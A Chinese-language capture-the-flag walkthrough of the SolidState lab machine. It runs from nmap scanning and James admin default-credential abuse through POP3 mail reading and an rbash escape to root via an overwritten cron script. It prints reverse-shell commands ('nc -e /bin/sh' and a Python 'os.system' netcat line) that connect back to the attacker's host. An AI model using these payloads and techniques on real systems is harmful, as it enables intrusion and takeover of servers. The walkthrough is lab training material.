SolidState 靶机

SolidState

1.探测靶机ip地址

ip a

看一下网卡

image-20220701161458070

netdiscover -i eth0 -r 192.168.100.0/24

image-20220701161622041

可以看到靶机地址为192.168.100.5

2.nmap进行靶机端口服务扫描

nmap -sS -Pn -A -p- -n 192.168.100.5
-sS  SYN 扫描,半连接
-Pn 跳过Ping扫描阶段
-A   全面扫描
-p- 全端口
-n   禁止DNS反向解析,如果单纯扫描一段IP,该选项可以大幅度减少目标主机响应时间

可以看到靶机开放了22/ssh、25/smtp、80/http、110/pop3、119/nntp、4555/james-admin 端口服务

image-20220701162848565

3.根据端口服务进行信息收集

(1)80/http端口

我们访问下80页面进行下信息收集:查看源码、dirb扫描

但是没收集到有用的信息,80端口没啥东西!!!!

image-20220701163415598

image-20220701164354199

image-20220705085156096

(2)4555/james-admin端口

开放的4555端口存在远程命令执行漏洞

使用nc命令进行远程连接:

nc 192.168.100.5 4555
输入id=root、password=root
nc的作用:
(1)实现任意TCP/UDP端口的侦听
(2)端口的扫描,nc可以作为client发起TCP或UDP连接
(3)机器之间传输文件
(4)机器之间网络测速

image-20220701164956286

键入help命令查看,发现可以执行listusers(列出用户名),setpassword(重置密码)等操作; Remote Admin Service(远程管理服务)

image-20220701165027701

使用listusers命令,发现存在5位用户

image-20220705082730070

使用setpassword命令将5位用户的密码均重置为1234

setpassword 【用户名】【密码】

image-20220705083057871

然后使用其他命令进行信息收集,并未从4555端口发现其他有价值的信息!!!

(3)110/POP3端口

POP3服务器是遵循POP3协议的接收邮件服务器,用于接收电子邮件

使用telnet命令进行远程登陆

telnet 192.168.100.5 110
输入:
user [用户名]
pass [密码]
list(输出文件列)

image-20220705084032468

使用retr命令下载文件

RETR和STOR命令是FTP协议中的下载和上传命令,可以针对文件和目录

image-20220705085400399

在使用retr 2 命令后,我们可以看到mindy用户的账号密码!!(猜测用于ssh登录

image-20220705085534814

mindy//P@55W0rd1!2@

依次登录5位用户,查看用户目录下的信息,使用retr命令下载文件,并在数据窗口中可以看到指定下载文件的内容

在110/POP3端口,我们发现了mindy用户的ssh登录账号密码,在其他用户下并没有有价值的线索!!!

(4)22/ssh端口

我们使用刚刚获取到的mindy用户的账号密码,进行ssh远程连接

但执行whoami发现为rbash(受限制的shell),ls发现存在user.txt,cat查看发现存在一个flag!!!

image-20220705090136154

双击Tab键,终端会显示当前用户可执行的命令:

image-20220705090243435

cat etc/passwd可以看到mindy用户可以利用/bin/rbash/进行反向shell提权

image-20220705090516532

rbash(受限制的shell),有很多基础的命令都执行不了,我们可以通过下面两种方式进行绕过:

一、exp利用

使用searchsploit搜寻版本漏洞,cp脚本文件下载到kali中:

通过searchsploit搜索james

searchsploit james

image-20220701165303297

查看35513.py 远程命令执行脚本

searchsploit -m 35513.py

image-20220701165606137

vi 35513.py

可以看到payload

image-20220701165709825

修改payload

nc -e /bin/sh 192.168.100.4 1234
payload为本地kali的ip地址和nc监听端口

执行脚本文件:

python 35513.py [ip]

image-20220705091404887

再次使用ssh登录,可以看到脚本文件开始编译执行,我们在kali中设置nc监听:

image-20220705091659701

可以看到成功监听,id查看为mindy用户权限;

image-20220705091738155

二、一句话绕过
ssh mindy@192.168.100.5 "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/sh\")'"

image-20220705092610455

4.提权操作

找权限777的文件的时候发现了一个叫tmp.py的文件

find / -perm 777 -type f 2>/dev/null

image-20220705132445155

其作用为删除/tmp目录下所有文件,看上去是个非常有可能成为定时任务的脚本

image-20220705132535537

反弹shell成功

根据前面的邮件提示信息,获得ssh的登录凭证是从James那里获取的,所以查看对应用户的进程运行情况

ps aux | grep james

显示了opt作为根进程,cd进入opt文件夹

image-20220705093318712

存在一个python程序tmp.py程序可以利用,属于root权限,那么我们将它更改程序执行命令的提权代码:

很容易就会想到插入一句话反弹。但要注意一个问题。目前root是隔几分钟就会运行tmp.py去删除/tmp目录下的内容,而我作为mindy用户也可以直接python起手直接删了/tmp目录里面的内容。

但不同的点在于一个是mindy,一个是root。假如说我们插入python反弹shell进入tmp.py以后直接运行是以mindy用户运行反弹文件。那接收的shell也是mindy的。不会直接越级,而只有当root运行反弹python脚本以后,接收过来的才是root权限。

echo 'import os; os.system("nc 192.168.100.4 12345 -e /bin/bash")' > /opt/tmp.py

image-20220705132107632

最后啥也不做直接开nc等shell回来就变成root了

image-20220705132214633

5.靶场总结

在本次实验中,靶机开放了许多新颖的端口服务,通过端口服务进行信息收集,在4555端口存在远程代码执行,我们在4555端口得到用户名,并重置了用户密码;在pop3服务中,查看到邮件信息,得到下一步ssh的登陆账号密码;

以及在ssh登陆成功后,受限制的rbash绕过是本次实验的特点,我们可以使用一句话绕过,也可以exp绕过;

提权部分为向可执行.py文件中添加可提权的代码,编译执行,成功提权root权限!!!

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容